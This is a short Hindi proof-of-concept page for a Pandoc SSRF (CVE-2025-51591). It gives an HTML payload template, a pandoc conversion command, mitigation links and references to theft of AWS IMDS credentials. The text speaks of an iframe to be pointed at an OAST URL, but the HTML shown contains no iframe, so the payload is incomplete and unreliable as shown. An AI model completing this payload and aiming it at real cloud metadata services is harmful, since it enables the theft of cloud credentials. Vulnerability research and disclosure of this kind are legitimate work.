CVE-2025-51591 Pandoc SSRF POC

JGM Pandoc v3.6.4 में एक सर्वर-साइड अनुरोध जालसाजी (SSRF) हमलावरों को एक क्राफ्टेड iframe इंजेक्ट करके पूरे बुनियादी ढांचे तक पहुंच प्राप्त करने और उससे समझौता करने की अनुमति देती है।

Pandoc स्थापित करें

• https://pandoc.org/installing.html

पेलोड उदाहरण

⚠️ iframe URL को अपने स्वयं के OAST URL से बदलें। ⚠️

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2025-51591 Proof Of Concept</title>
</head>

<body>
    <h1>
        CVE-2025-51591 Proof Of Concept
    </h1>
    
</body>

</html>

Pandoc का उपयोग करके पेलोड को PDF में बदलें

pandoc payload.html -o output1.pdf

शमन रणनीतियाँ

• https://github.com/jgm/pandoc/issues/10682#issuecomment-2718343529
• https://pandoc.org/MANUAL.html#a-note-on-security

संदर्भ

• हैकर्स ने Pandoc CVE-2025-51591 का शोषण कर AWS IMDS को निशाना बनाया और EC2 IAM क्रेडेंशियल चुराए
• IMDS का दुरुपयोग: दुर्लभ व्यवहारों की खोज कर शोषण का पता लगाना
• उपयोगकर्ता-नियंत्रित HTML से PDF जनरेट करते समय SSRF